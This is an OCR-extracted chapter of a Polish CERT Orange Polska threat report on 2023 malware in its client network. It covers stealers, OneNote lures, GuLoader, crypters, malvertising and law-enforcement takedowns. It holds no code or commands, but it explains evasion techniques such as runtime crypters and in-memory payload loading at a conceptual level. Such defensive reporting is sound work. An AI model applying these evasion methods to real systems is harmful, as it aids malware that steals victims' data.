przekazywane do serwera DNS autorytarnego dla danej domeny
(strefy). Serwer DNS witasciwy dla danej domeny wysyta
odpowiedzi o domenach NX (nieistniejgcych) do zrédet
ztosliwych zapytan. Ze wzgledu na charakter zapyta DNS,
ilo$¢ ruchu jest do$¢ mata pod wzgledem przepustowosci,

ale w niektorych przypadkach osigga znaczng warto$é w ilosci
pakietow, osiggajac w niektorych przypadkach ponad 4 miliony
zapytan na sekunde (QPS), cho¢ bardziej typowo miedzy 50k

a 300k zapytan na sekunde.

Celem tego rodzaju ataku jest przecigzenie serwera DNS
autorytarnego, uniemozliwiajgc mu odpowiadanie

na prawidtowe zapytania DNS. W istocie jest to atak

aplikacyjny na ustuge DNS, gdzie z czasem zewnetrzni klienci
moga nie by¢ w stanie rozwigzac publicznych domen ofiary.
Sama dostepnos$é tych nazw jest zalezna od tego, czy nazwy
domen zostaty zbuforowane w serwerach DNS posredniczacych
i jak dtugo sa tam utrzymywane (parametr TTL jest tu kluczowy).
Jesli serwer DNS petni takze role serwera nazw, ktéry rozwiazuje
publiczne zapytania wewnetrznie w organizacji, zasoby
wewnetrzne nie bedg rowniez w stanie rozwigzywaé publicznych
domen, poniewaz serwer DNS zostanie przecigzony atakiem.

Atakujacy prowadzac taki atak, stosuja kilka taktyk:

= Wybierajg jako cel krytyczng dla organizacji subdomene
i generujag dla niej zapytania zgodnie z opisanym
schematem.

= Wybieraja domene o krétkim czasie TTL, tak by poprzez
niedostepnos$é serweréw autorytarnych spowodowaé
catkowitg niedostepnos¢ domeny.

= Atakujg jednoczesnie wszystkie serwery DNS
- tu potrafig jednoznacznie wskazywac ktéry serwer
ma obstugiwac ich zapytania.

= Wykorzystuja duze botnety (ponad 10 tys. punktéw
atakujacych; czasem nawet milion).
Atak trwa od godziny do kilkunastu godzin.
Potrafig wykorzystywac legalne serwery posredniczace
do ,transferowania” ataku (co powoduje trudnosci
W jego ograniczaniu).

Kreatywno$¢ atakujacych oraz tatwa dostepno$c¢ infrastruktury
do ataku sprawia, ze krajobraz DDoS-éw jest coraz bardziej
skomplikowany, a prawidtowa ocena ataku i jego potencjalnego
rozwoju staje sie coraz trudniejsza.

Ireneusz Tarnowski
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Aktywnos¢ ztosliwego oprogramowania w przestrzeni klienckiej Orange Polska

Zlosliwe oprogramowanie
na przestrzeni roku 2023

Aktywnosc ztosliwego
oprogramowania w przestrzeni
klienckiej Orange Polska

Cho¢ rok 2023 mamy juz za sobg, nie ulega watpliwosci, ze wydarzyto
sie w nim niemato. W ciggu ostatnich 12 miesiecy w sieci Orange
bylismy swiadkami licznych atakéw phishingowych i oszustw

z wykorzystaniem fatszywych reklam i celowo wprowadzajgcych w btad
tresci. Jako CERT Orange Polska udaremnialiSmy celowane na polska
infrastrukture ataki typu DDoS, a takze identyfikowali§my, analizowalismy
i stale sledzili§my krajobraz cyberprzestrzeni zwigzany ze ztosliwym
oprogramowaniem. Do informacji publicznej przebity sie wiadomosci

o duzych wyciekach danych Polek i Polakdéw. Te ataki spowodowane
aktywnoscig ztosliwego oprogramowania byty rezultatem
przeprowadzanych na przestrzeni catego roku, mniej lub bardziej
ztozonych operacji przestepczych. Czes¢ z tych szkodliwych dziatan

i wykorzystanych metod postaram sie przyblizy¢ na tamach tego rozdziatu

CERT Orange Polska
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Z jakimi zagrozeniami
zwigzanymi ze ztosliwym
oprogramowaniem mieliSmy
do czynienia w ubiegtym roku?

Jak w latach ubiegtych dane zostaty zgromadzone z sond
bezpieczenstwa analizujgcych sie¢ kliencka. Sondy
monitorujgce umieszczone zostaty w reprezentatywnych
segmentach sieci szerokopasmowej stacjonarnej i mobilne;.
Powyzsze dane zostaty uzupetnione informacjami zebranymi
w procesie threat huntingu oraz wzbogacone wynikami analizy
przeprowadzonej przez autora tekstu.

Pierwszy kwartat 2023

Pierwszy kwartat byt okresem najwiekszej aktywnosci ztosliwego
oprogramowania w skali catego 2023 roku, odpowiadajac

za 28% wszystkich zidentyfikowanych przez nas zdarzen.
Ponad 50% wszystkich zdarzen przypisa¢ mozna zagrozeniom
z kategorii stealeréw, ktérych aktywnos$¢ wzrosta w stosunku
do kwartatu ubiegtego o 10%, podczas gdy liczba infekcji
zagrozeniami z kategorii botnetéw sukcesywnie spadata,

nawet pomimo powracajacych kampanii zidentyfikowanych

w lutym i marcu z udziatem Quakbota, Emoteta i IceDida.

Podobnie jak w ubiegtym kwartale, przestepcy

przerzucili sie na wykorzystanie dokumentow

OneNote w dystrybucji ztosliwego oprogramowania,

co zarejestrowaliSmy rowniez w atakach podszywajgcych
sie pod marke Orange. Atakujacy przeszli od tradycyjnych
atakoéw opartych na makrach osadzanych w pakiecie

MS Office do korzystania z programu Microsoft

OneNote z kilku powodow:

= Wykorzystanie makr w pakiecie Office stato sie
niepewnym wektorem ataku od kiedy Microsoft wprowadzit
mechanizm Mark of The Web pozwalajgcy na blokowanie
uruchamiania makr pochodzacych z internetu.

= OneNote jest zainstalowany domysinie we wszystkich
instalacjach pakietu Microsoft Office/365. Nawet jesli
uzytkownik systemu Windows nie korzysta z OneNote’a,
pliki w tym formacie domysinie uruchomia sie
w tej aplikacji po kliknieciu w pobrany zatgcznik.

= Podatnosci w Microsoft OneNote nie sa tak dobrze
znane jak ataki oparte na makrach, co czesto prowadzi
do braku wyksztatconych srodkow ostroznosci

po stronie ofiary przy interakciji z tego typu zatacznikiem.

= Dokumenty OneNote moga osadzaé podobny ztosliwy
kod co dokumenty biurowe, a atakujgcy moga uruchamiaé
za jego pomoca skrypty CHM, HTA, JS, WSF i VBS.

Najczesciej wystepujace zdarzenia w 1Q 2023 roku'

zaobserwowane w sieci Orange Polska

IOT.Mirai
B RedLine.Stealer

Agent Tesla.RAT
B Formbook.Stealer
B Quakbot.Botnet
Raccoon.Stealer
Snake.Keylogger
Lokibot.Stealer
Emotet.Botnet
Inne

17 powyzszych zestawien wykluczone zostaly sieci martwych botnetéw oraz ztosliwe oprogramowanie z rodziny downloaderéw
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Aby zatuszowac swoje ztosliwe intencje, atakujacy
tworzyli iluzje chronionej zawartosci, namawiajgc ofiare
do podwdéjnego klikniecia przycisku ,Widok”, aby uzyskaé
dostep do tresci dokumentu. Interakcja z przyciskiem
uruchamiata osadzony w pliku skrypt, ktéry pobierat

i uruchamiat wtasciwe ztosliwe oprogramowanie na stagcji
ofiary. Wérdd rodzin ztosliwego oprogramowania, ktére
wykorzystywaty pliki .one w tancuchu infekcji znalazty

sie AsyncRAT, Emotet, Formbook, IcedID, RedLine

czy Quakbot.

Quakbot to ztosliwe oprogramowanie, ktére z trojana
bankowego na przestrzeni kilku lat przeksztatcito sie

w zaawansowane modutowe oprogramowanie zdolne

do prowadzenia wtasnego tancucha infekcji. Wyposazony
jest w moduty zbierajgce informacje na temat srodowiska
operacyjnego ofiary, wykradajace dane uwierzytelniajgce

i finansowe z przegladarek i aplikacji czy funkcje pobierania
i uruchamiania innego oprogramowania na zainfekowanym
systemie. Ze wzgledu na swoja strukture Quakbot byt
wykorzystywany jako narzedzie poczatkowego dostepu
(Initial Access) w atakach celowanych przeprowadzanych
przez grupe przestepcza TA570. Kampanie Quakbota
wyrézniaja sie réznorodnoscia TTP (techniki, taktyki

i procedury wykorzystywane w fancuchu infekcii).

W sieci Orange zauwazyliSmy ponizsze:
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Istotny i nieco zaskakujacy powrét do najpopularniejszych
rodzin zaliczyto réwniez oprogramowanie Raccoon Stealer,
bioragc pod uwage wydarzenia z ostatnich 12 miesiecy.

W lutym 2022 roku Raccoon Stealer nagle zawiesit swojg
dziatalnos¢, kiedy ogtoszono $mierc jego autora Marka
Sokolovskiego. Zawieszenie dziatan Raccoon Stealer
poskutkowato jego drastycznym spadkiem na mapie
identyfikowanych zagrozen. A jednak Raccoon Stealer

pod koniec czerwca 2022 r. powrdcit w wersji 2.0 | oficjalnie
zostat ponownie wprowadzony do sprzedazy. Co istotne ten
sam rzekomo martwy Sokolovsky juz w ubiegtym roku zostat
aresztowany w Amsterdamie, gdzie udat sie na wakacje

ze swojg narzeczong. Pech chciat, ze zarbwno wizerunek
Marka, jak i jego telefon byty znane stuzbom, odkad uzyt

do rejestracji na przestepczym forum konta Gmail,
powigzanego ze swoim kontem w ustudze iCloud. Zeby tego
byto mato, jego narzeczona regularnie wrzucata na Instagrama
relacje z podrézy, co utatwito jeszcze stuzbom szybkie
namierzenie i aresztowanie przestepcy. Tym razem jednak
nieobecnos$¢ Marka nie wptynetfa na destabilizacje produktu,
co mozna byto odnotowaé w kampaniach z wykorzystaniem
technik SEO Poisoning, czyli manipulacjg wynikoéw zwracanych
przez silniki wyszukiwarek, ktérej Swiadkami byliSmy

na przetomie stycznia i lutego biezacego roku.

Réwniez w tym kwartale organy Scigana zaliczyty kolejne
udane zatrzymania, kiedy w Chorwacji doszto do aresztowania
operatora strony World Wired Labs, odpowiadajgce;j

za sprzedaz ztosliwego oprogramowania NetWire od maja
2012 roku. NetWire to komercyjny, wieloplatformowy trojan
zdalnego dostepu (Remote Access Trojans) z funkcjami
zaprojektowanymi do szpiegowania ofiar i kradziezy haset

z przegladarek internetowych i klientow poczty email.
Departament Sprawiedliwosci Stanéw Zjednoczonych
ogtosit przejecie domeny wordlwiredlabs.com 7 marca 2023.
Tego samego dnia doszto do zatrzymania Mario Zanko
znanego pod pseudonimem Dugidox. Oprécz przejecia
strony i aresztowania Zanko, Departament Sprawiedliwosci
poinformowat tez, ze wtadze szwajcarskie przejety serwer,
na ktérym znajdowata sie infrastruktura RAT-a. Na tyle
skutecznie, ze do konca 2023 roku aktywnos¢ Netwire
rejestrowana w sieci Orange spadta praktycznie do zera.

W marcu zorganizowano atak i wytaczenie infrastruktury
serwerdw Cobalt Strike. Microsoft, dziatajgc z Health
Information Sharing and Analysis Center oraz firmg Forta
(wiascicielem marki Cobalt Strike) podjefa, na podstawie decyzji
0 naruszeniach praw autorskich, akcje majgca na celu wytaczenie
serwerdw obstugujgcych nieautoryzowane wersje tego
oprogramowania. Cobalt Strike to wielofunkcyjne narzedzie

do wykonywania zaawansowanych testow penetracyjnych,
ktdre w rekach cyberprzestepcdw i zorganizowanych grup
aktorow zagrozen (TA) byto wykorzystywane do atakow

na organizacje, przedsiebiorstwa i indywidualnych
uzytkownikow sieci. Nieoficjalne ataki na serwery
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Cobalt Strike byly juz podejmowane w przesztosci.
Niejednokrotnie serwery hostujace Cobalt Strike okazywaty

sie podatne na techniczne podatnosci, ktdére mogty by¢
przeciwko nim wykorzystane. Jednak ataki typu DDoS rzadko
byty przeprowadzane w sposéb kompleksowy lub zorganizowany,
dajac w efekcie ograniczone rezultaty. W tym wypadku,
zorganizowany atak skupiat sie tylko na serwerach pracujgcych
na nieautoryzowanych lub ,,skrackowanych” wersjach
oprogramowania Cobalt Strike oraz tylko na konkretnych
adresach IP i domenach zidentyfikowanych jako zwigzane

z jego uzyciem. Przestepcy, korzystajacy z oprogramowania,
ktorzy ucierpieli w wyniku wytgczenia swojej infrastruktury, mogli
ja zwyczajnie odtworzy¢. Atak nie byt tez préba zniszczenia
przysztych, nieautoryzowanych instancji Cobalt Strike. Z tego
powodu operacja cho¢ data poczatkowy efekt, szybko okazata
sie nieskuteczna. Przestepcy odbudowali swojg infrastrukture

w przeciggu tygodni od ataku, a kolejny kwartat nie przynidst
znaczacych zmian na mapie zagrozen wykrywanych

z wykorzystaniem tego narzedzia w sieci Orange.

Od czasu najgtosniejszego ataku na fancuch dostaw (supply
chain), oprogramowania zwigzanego z firma Solarwinds,
czestotliwos¢ podobnych prob kompromitacji zauwazalnie sie
nasila. Wynika to zaréwno z coraz bardziej ztozonych powigzan
miedzy aplikacjami, ale tez potwierdza, ze sami producenci
majg trudnosci z utrzymaniem kontroli nad wdrozonymi
aplikacjami o czym $wiadczy rosngca liczba rejestrowanych
podatnosci. W pierwszym kwartale 2023 roku, istotnym
przyktadem takiego ataku byto wilamanie do oprogramowania
VolP 3CX. Hakerzy zwigzani z Koreg Pétnocng uzyli skompromi-
towanego oprogramowania do zaatakowania tylko kilku firm
kryptograficznych, pomimo potencjalnie ogromnego zasiegu
tego ataku. Aplikacja 3CX Desktop to komunikator sieciowy,
oferujacy uzytkownikom czat, wideorozmowy i rozmowy
gtosowe. W poczatkowej fazie incydentu atakujgcy zainfekowali
instalator oprogramowania dostarczanego przez Trading
Technologies. Ta skompromitowana wersja realizowata funkcje
backdoora, umozliwiajgc przestepcom dostep do Srodowiska
3CX. Postugujac sie tym dostepem, atakujgcy poruszali sie

w sieci 3CX, pozyskiwali poswiadczenia i przejmowali $rodowisko
deweloperskie dla systemdéw Windows i Mac, co doprowadzito
do zainfekowania instalatora aplikacji 3CX. Zainfekowany
instalator rowniez zostat wyposazony w backdoora, ktéry

po uruchomieniu miat pobra¢ i zainstalowa¢ dodatkowy ztosliwy
kod na docelowymurzadzeniu ofiary.

Najczesciej rejestrowanym zagrozeniem w pierwszym kwartale
2023 roku byty infekcje oprogramowaniem RedLine. Odkryty

w 2020 roku RedLine to komercyjny stealer, sprzedawany

w ustudze Maa$S (Malware-as-a-service). Nie ulega watpliwosci,
Ze dystrybucja i tworzenie ztosliwego oprogramowania moze
stanowi¢ optacalny, cho¢ nielegalny biznes. W ten sposdb
narodzito sie ztosliwe oprogramowanie jako ustuga, czyli Maa$,
a programisci, stojgcy za budowa i rozwojem wtasnego kodu,
zdecydowali sie zamieni¢ swoje oprogramowanie w komercyjny
produkt, zapewniajgc sobie staty i nieco bardziej bezpieczny dochdd.

Byt to biznesowy strzat w dziesiatke, bo jesli przyjrzymy
sie samym statystykom to liczba rodzin malware’u,
oferowanego w formie ustugowej stanowi przeszio potowe
wszystkich atakow z uzyciem zlosliwego oprogramowania,
wykrywanych w sieci Orange.

RedLine, jako czotowy przedstawiciel rynku, w zamian

za stosunkowo niskg miesieczng optate abonamentowa
(nie przekraczajaca 600 ztotych), pozwala na kradziez
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roznego rodzaju wrazliwych danych z komputera ofiary.

Od poswiadczen uwierzytelniajgcych i dostepdw do portfeli
kryptowalut, po dane z platform takich jak Steam i Discord.
Ptacacy klienci RedLine uzyskujg dostep do panelu serwera
zdalnego zarzadzania (C2), ktéry jest nastepnie uzywany

do zarzadzania ich kampaniami. Panele te majg petny interfejs
graficzny i przypominajg w petni komercyjne rozwigzania rynku
B2C. Aby dziata¢ poprawnie, C2 ustanawia regularng
komunikacje z back-endem oprogramowania, instalowanego
na urzadzeniach ofiar.

Poniewaz operatorzy otrzymujg gotowe rozwigzanie, moga

je dos¢ tatwo integrowaé w bardziej rozbudowane kampanie,
wykorzystujgce wiecej niz jeden malware do realizacji swoich
celéw. W sieci Orange oprocz wspomnianych juz wczesniej
kampanii phishingowych wykorzystujacych skrypty OneNote

do zapoczatkowania infekcji, identyfikowaliSmy tez kampanie
RedLine’a, podszywajgcego sie pod popularne modele
jezykowe ChatGPT i Google Bard, ktére rozpowszechniano

za pomoca ztosliwych reklam na przejetych stronach
biznesowych Facebooka. W innej kampanii RedLine byt
rozpowszechniany za pomoca reklam Google Ads obok
Raccoona, Ursnifa, a potencjalnie rowniez modutéw Cobalt
Strike dostarczajagcych oprogramowanie ransomware na koncu
tancucha dostaw. Jak dowodzi powyzszy przyktad, metody
dystrybucji RedLina r6znig sie tak samo, jak jego kampanie.
Oprécz juz wspomnianych reklam na Facebooku, Google Ads

i spearphishingu, do jego instalacji moze doj$¢ réwniez

po interakcji z linkiem umieszczonym w opisie lub komentarzach
pod filmami na YouTube. Ztosliwe oprogramowanie podszywa
sie pod instalator z aktualizacjami systemu Windows, cracki

lub trainery do gier czy klony innego legalnego oprogramowania.
Choc¢ malware z rodziny stealeréw w swoim zatozeniu skupia
sie na atakach, ktore sg wykorzystywane w celu natychmiastowe;
ich monetyzaciji, RedLine bywa tez wykorzystywany jako
narzedzie do zbierania wstepnych danych o srodowisku ofiary

i poczatkowy punkt dostepu do bardziej skomplikowanych
infekcji. Co istotne, jego tworcy stale rozwijajg swoj produkt,
wprowadzajgc zmiany ukierunkowane na state obnizanie
poziomu wykrycia przez narzedzia bezpieczenstwa.

Najnowsze warianty rezygnujg z uzycia polecen Powershella

w fancuchu infekcji. Wprowadzajg takze zmiany w funkcjonowaniu
dynamicznie zmienianej infrastrukturze serweréw C2,
utrudniajac mitygacje zagrozen opartg na blokowaniu loC.

W drugim kwartale 2023 r. liczba wykrywanych infekcji w sieci
Orange zmniejszyta sie 0 7%. W dalszym ciggu najbardziej
popularng rodzing zagrozen byly stealery, ktére odpowiadaty
za 45% wszystkich zagrozen.

WSsrod najpopularniejszych zagrozen komercyjnych na czoto
wyszedt Agent Tesla, najczesciej wykorzystywany malware

w rozsytanych masowo kampaniach malspamowych
identyfikowanych w sieci Orange. Agent Tesla to oprogramowanie
oparte na platformie .NET, wykryte po raz pierwszy w 2014 roku.
Cho¢ obecnie w wiekszosci przypadkéw wykorzystywany jest
w formie wykradajgcego dane stealera, na rynek wprowadzony
zostat jako narzedzie zdalnego administrowania (RAT),
umozliwiajgce przeciwnikom przejecie kontroli nad systemem
operacyjnym ofiary. Ciekawg cechg Tesli jest zdolnos¢ do
ekstrakcji danych z wielu przegladarek internetowych i klientow
poczty oraz wykorzystywanie roznych protokotdéw do eksfiltracii
tych danych. Jako jedno z najbardziej popularnych narzedzi

w ustudze MaaS, regularnie obserwujemy wykorzystywanie

Zatrute zrodto, czyli ztosliwe
oprogramowanie pozycjonowane
w wyszukiwarkach Google

Dystrybucja ztosliwego oprogramowania zazwyczaj
koncentruje sie na takim zmanipulowaniu ofiary, zeby ta
sama pobrata i uruchomita podsuwany przez przestepcow
plik. Cel ten mozna osiagna¢ poprzez r6znego rodzaju
socjotechnike. Od podszy¢ i phishingu, po malvertisment,
o ktorym kilka stow w artykule ponizej.

»Malvertising” to potaczenie stéw ,,malware” i ,,advertising”.
Proces infekcji polega na zakupie reklam w wyszukiwarkach
internetowych i umieszczeniu w nich linkow prowadzacych
do ztosliwych witryn. Technika ta jest uzywana przez
przestepcow od poczatku pojawienia sie w wyszukiwarkach
reklam, rozliczanych w modelu ptatnosci za klikniecie
(Pay-Per-Click).

Platforma reklam Pay-Per-Click firmy Google oferuje
narzedzia do tworzenia kampanii reklamowej w Google
Ads. Panel zarzadzania i obstugi reklam jest do$¢
intuicyjny, co pozwala uzytkownikom szybko przejrze¢
statystyki kampanii reklamowej. Mozna w nim zobaczy¢
swoje aktualne reklamy, stowa kluczowe, rekomendac-
je, statystyki i catkowity koszt dla kazdej pozyciji. Aby
utworzy¢ nowa reklame, uzytkownik serwisu musi podaé
URL do wyswietlanej tresci, dostarczyc¢ jej opis i stworzy¢
kilka nagtéwkow do reklamy. Opisy, nagtéwki i strona

sa brane pod uwage przy obliczaniu rankingéw reklam
przez Google.

Po utworzeniu reklamy uzytkownicy moga ustawic
maksymalna kwote, ktora chca wydaé na klikniecie

dla danej reklamy. Przestrzen reklamowa jest sprzedawana
za pomoca mechanizmu slepej licytaciji, gdzie reklamodawcy
moga przebi¢ konkurentow, ale nie widza, ile inni ptaca

za przestrzen reklamowa. Po utworzeniu reklamy
uzytkownicy moga zacza¢ korzystac¢ z dodatkowych
narzedzi dostepnych na platformie Google Ads takich jak
targetowanie urzadzen, funkc;ji, ktéra pozwala ograniczy¢
wyswietlanie tresci np. tylko do uzytkownikow telefonow

i tabletow z Androidem.

Ponadto Google Ads pozwala monitorowa¢ demografie
osob klikajacych w reklamy, wykluczaé okreslone grupy
demograficzne czy kierowac reklamy do konkretnych
sektoréw, takich jak osoby pracujace w finansach

czy branzy medycznej. Platforma umozliwia rowniez
reklamodawcom kierowanie swoich tresci do klientow
na podstawie geolokalizacji.

Powyzsze funkcje parametryzaciji odbiorcow koncowej
tresci, cho¢ w zatozeniu maja stuzy¢ klientom
wyswietlajacym autentyczne reklamy, coraz czesciej

sa wykorzystane jako wektor dystrybucji ztosliwego
oprogramowania w sposob nie mniej skuteczny

od pocztowych kampanii phishingowych. Mechanizm
przebiegu infekcji wymaga od przestepcow stworzenia
witryny podszywajacej sie pod jakis produkt, aplikacje

lub firme. Nastepnie dochodzi do zarejestrowania reklamy
z domena, nagtowkiem i opisem odpowiadajacym

vania w przestrzeni klienckiej Orange Polska .

oryginatowi. Potem, w efekcie podbijania ceny licytaciji

w systemie Pay-Per-Click, tak spreparowana reklama
moze zosta¢ wyswietlona w wynikach wyszukiwarki

z wiekszym priorytetem niz prawdziwa strona, nadajac
jej w oczach koncowego uzytkownika autentycznosci,
nawet w przypadku gdy sam webserwis nie wykorzystuje
do potaczenia certyfikatow SSL czy nie odzwierciedla
jeden do jednego pierwotnej witryny.

Po kliknieciu w link reklamy, serwis webowy przed
wyswietleniem jakiejkolwiek tresci przeprowadza
dodatkowa weryfikacje nagtéwkow potaczenia, probujac
odfiltrowaé w ten sposdb potencjalnych badaczy, znane
serwisy do sprawdzania reputacji witryn czy sieci
anonimizacyjne i VPN-y od potencjalnych ofiar. Tych
pierwszych serwis webowy moze dodatkowo przekierowaé
na oryginalna strone, na ktora nastepuje podszycie,

a potencijalne ofiary zostana przekierowane na fatszywy
serwis z osadzonym zlosliwym oprogramowaniem
podszywajacym sie pod znana aplikacje.

Na przestrzeni 2023 roku z mechanizmu Pay-Per-Click
korzystaly rézne rodziny ztosliwego oprogramowania.

Od dropperow jak BatLoader zapewniajacych poczatkowa
infekcje w systemie ofiary w celu dystrybucji innego
ztosliwego oprogramowania, przez rozne rodziny
stealerow (Vidar, RedLine, Raccoon), po modutowe
botnety uzywane w zaawansowanych atakach

i dystrybucji ransomware jak IcedID.

Ostatnie sukcesy kampanii malvertismentowych dowodza,
ze obchodzac system licytacji w Google Ads przestepcy
sa w stanie zakupi¢ reklamy, ktore konsekwentnie
pojawiaja sie na pierwszych pozycjach w wynikach
wyszukiwania w Google, a sama skutecznosc¢ tej techniki
ma potencjat do konkurowania z malspamem jako
gtéwnym wektorem dla przestepcow.

Taki model dystrybucji sprawia, ze przestepcy nie musza
namierzac i pozyskiwac¢ kontaktéw do potencjalnych
ofiar, do ktorych rozesla fatszywa wiadomos¢é mailowa.
Nie musza obawia¢ sie kwarantanny i mechanizmoéw
antyspamowych, ani bra¢ pod uwage sporego odsetka
takich uzytkownikow, ktorzy po otrzymaniu wiadomosci
nigdy nie wejda w interakcje z umieszczonym w mailu
linkiem czy ztosliwym plikiem.

Zamiast tego ofiary przychodza do nich jak do zatrutego
zrodta. Tym bardziej, ze pojawienie sie witryny jako
pierwszej pozycji w wynikach wyszukiwania w dalszym
ciagu gwarantuje interakcje uzytkownika z linkiem

bez doktadnego przyjrzenia sie domenie.

Gdzie w takim razie tkwi haczyk? To nie sa tanie rzeczy.
Reklamy w Google Ads moga kosztowac nawet od

2 do 3 dolarow za klikniecie. A poniewaz przestepcy
licytuja o miejsce na reklame, dziatania te podnosza
réwniez koszty dla uczciwych reklamodawcow.

cert.orange.pl



https://cert.orange.pl/
https://www.cert.orange.pl/

go w kampaniach realizowanych przez grupy przestepcze

lub aktoréw zagrozen sponsorowanych przez rzady panstw.
Gtownym wektorem ataku Agenta Tesli pozostaje email,

ale w celu zainfekowania stacji roboczej operatorzy ztosliwego
oprogramowania positkuja sie wieloma technikami. W ciagu
drugiego kwartatu, identyfikowali$my ataki z wykorzystaniem
podszycia pod znane firmy np. Polskg Spotke Gazownictwa,
uzycie oryginalnych konwersacji mailowych wykradzionych

w wyniku innego ataku czy inicjowanie wysytki bezposrednio
z przejetego serwera pocztowego firmy trzeciej. Po uzyskaniu
poczatkowego dostepu i uruchomieniu, Agent Tesla podejmuije
dziatania w celu utrzymania trwatosci. Wykorzystuje do tego
rézne techniki takie jak uruchamianie sie z harmonogramu
zadan, dodawanie plikéw do autostartu czy umieszczanie
referencji w kluczach systemowego rejestru. Malware
wykonuje réwniez aktywny rekonesans, zbiera informacje

o systemie, sieci czy przynaleznosci urzadzenia do domeny.
Nastepnie przystepuje do kradziezy danych, odzyskujac je

z plikdw przegladarek, klientow poczty i VPN, jesli ustugi

i aplikacje sg obecne w systemie. Po zebraniu danych

z systemu Agent Tesla wykorzystuje rézne protokoty i aplikacje,
takie jak SMTP, FTP, Telegram i Discord do eksfiltracji danych.

Wiele ze zidentyfikowanych prébek Agenta Tesli byto
dostarczanych za pomocg GulLoadera, oprogramowania typu
downloader (albo dropper), wykorzystywanego do dostarczania
innego ztosliwego kodu w sposdb trudny do wykrycia przez
systemy bezpieczenstwa zainstalowane na urzadzeniach ofiary.
GuLoader omija zabezpieczenia, stosujac réznorodne techniki
unikania analizy w $rodowisku wirtualnym, obfuskacji kodu

i wielopoziomowego szyfrowania. Deweloperzy GulLoader
ciggle doskonalg techniki antyanalityczne i antydebuggingowe.
Dodatkowo deweloperzy postawili na catkowite przeniesienie
zaszyfrowanego kodu do chmury i uzycie skryptu VBScript

do pobrania tego kodu. W rezultacie na stacje ofiary

w poczatkowej fazie infekcji trafia sam plik VBScript, ktéry

jest mniej podejrzany niz plik EXE i ma mniejsze szanse

na wywotanie alertéw. Po interakcji uzytkownika ze skryptem
uruchamiana jest komenda shellowa, ktéra pobiera
zaszyfrowane ztosliwe oprogramowanie ze zdalnego

serwera, a nastepnie deszyfruje i uruchamia go w pamieci,

bez zapisywania odszyfrowanych danych na dysku twardym.
Uzycie szyfrowania, przechowywanie ztosliwego kodu

w formacie binarnym bez nagtowkéw i w zaufanych serwisach
chmurowych takich jak Google Drive czy OneDrive sprawia,

ze koncowe oprogramowanie, ktorym GulLoader infekuje systemy
jest catkowicie niewidoczne dla programdw antywirusowych.
Dzieki stale poprawianym mechanizmom unikania wykrycia,

GuLoader w 2023 r. stat sie jednym z najczesciej

wykorzystywanych narzedzi do dostarczania
ztosliwego oprogramowania.

W sieci Orange byt uzywany do dystrybuciji:

- Agent Tesla

- Formbook

- Lokibot

- Nanocore

- Remcos

- Snake Keylogger

Ztosliwe oprogramowanie to zestaw narzedzi wykorzystywanych
przez cyberprzestepcéw w celu pozyskania nieautoryzowanego
dostepu do urzadzenia ofiary i wykonania na niej operacji
zaleznych od celu operatora i mozliwosci samego
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oprogramowania. Uzycie tych narzedzi jest stale monitorowane

i analizowane przez badaczy bezpieczenstwa, dostawcow
systemow zabezpieczen i zespoty reagowania takie jak CERT
Orange Polska. W ramach analizy bezpieczenstwa ustalane sa
konkretne cechy charakterystyczne danego malware-u, ktérych
znajomos¢ powinna uwrazliwi¢ systemy prewencyjne na
powtdrne pojawienie sie tego samego intruza. W konsekwencji
cyberprzestepcy sg zmuszani do siegniecia po rozwigzania, ktére
pozwolg ukry¢ znany systemom bezpieczenstwa swoj ztosliwy
kod. Jednym z takich rozwigzan jest zastosowanie kryptowania.

Kryptowanie to praktyka polegajaca na opracowywaniu,
zakupie lub uzyciu specjalnego programu nazywanego
krypterem, ktory stuzy do szyfrowania, zaciemnienia

lub modyfikacji ztosliwego oprogramowania, w celu
unikniecia detekcji przez systemy zabezpieczen.

Proces kryptowania zaczyna sie od pozyskania docelowego
kodu, ktéry ma by¢ uzyty do kompromitacii i zainfekowania
docelowej sieci. Operatorzy malware moga uzyskaé dostep

do krypterdw, kupujac je na nielegalnych forach w Darkwebie,
a niektérzy autorzy malware sami opakowujg swoje produkty

w moduty kryptujace. W dalszej kolejnosci ztosliwe
oprogramowanie jest szyfrowane lub obfuskowane, a nastepnie
ponownie kompilowane w dziatajgcy program. Wynikowy plik
nazywany stub, w zwigzku z tym, ze jego ztosliwa zawarto$é
ulegta zaszyfrowaniu, jest pozornie niegrozny i moze by¢
rozpowszechniony przez przestepcdw na systemy ofiary.

Gdy nieswiadomy cel ataku uruchomi ten plik, krypter
automatycznie odszyfruje i wykona ztosliwg zawartosc
osadzong w kodzie. Dwa gtéwne rodzaje krypteréw to kryptery
czasu skanowania (scantime) i kryptery czasu wykonania
(runtime). Kluczowa réznica miedzy nimi polega na momencie
odszyfrowania danych zawartych w pliku. Kryptery czasu
skanowania musza odszyfrowac dane po zapisaniu pliku

na urzadzeniu ofiary, ale przed jego wykonaniem co umozliwia
aktywnym systemom zabezpieczen na zablokowanie operaciji
jeszcze przed wiasciwa infekcja. Krypter czasu wykonania

(taki jak opisywany powyzej GuLoader) jest znacznie bardziej
przedsiebiorczy. Zamiast odszyfrowaé dane przez wykonaniem,
krypter wykorzystujac interfejs API systemu Windows, deszyfruje
kod w locie podczas uruchomienia i wczytuje go do pamieci

w formie osobnego procesu, albo wstrzykuje go do legalnego
juz dziatajgcego procesu systemowego. W ten sposoéb narzed-
zia bezpieczenstwa analizujgce plik w momencie uruchamiania
nie majg mozliwosci podjecia wtasciwej reakcji, bo ztosliwe
dane wcigz pozostajg na nim zaciemnione. Co wiecej, takie
kryptery moga ponownie zaszyfrowac plik po jego
uruchomieniu w ramach zacierania $ladéw.

Malware, ktory po raz kolejny wypadt z czotowki najczesciej
spotykanych zagrozen w naszej sieci to Emotet. Emotet

to rodzina ztosliwego oprogramowania aktywna od 2014 roku,
obstugiwana przez grupe przestepcza znang jako TA542.

Cho¢ poczatkowo funkcjonowat jako trojan bankowy, pézniej
ewoluowat w botnet, stajac sie w pewnym momencie
najpowszechniejszym zagrozeniem na $wiecie. Emotet
rozprzestrzenia sie za pomoca phishingowych wiadomosci
e-mail. Moze wykradac informacje z zainfekowanych
komputerdw i dostarcza¢ ztosliwe oprogramowanie innych
dostawcdw. Operatorzy Emotet nie sg zbyt wybredni co do
swoich celdw, instalujgc swoje ztosliwe oprogramowanie

na systemach osob prywatnych, jak i firm czy wiekszych
organizacji. W styczniu 2021 roku infrastruktura Emoteta zostata
wytgczona w wyniku miedzynarodowej wspotpracy osmiu krajéw
koordynowanej przez Europol. Pomimo tej operacji, Emotet

powrdcit juz w listopadzie 2021 roku i uruchomit wiele kampanii
malspamowych, ktorych aktywnosc¢ sledzilismy réwniez w sieci
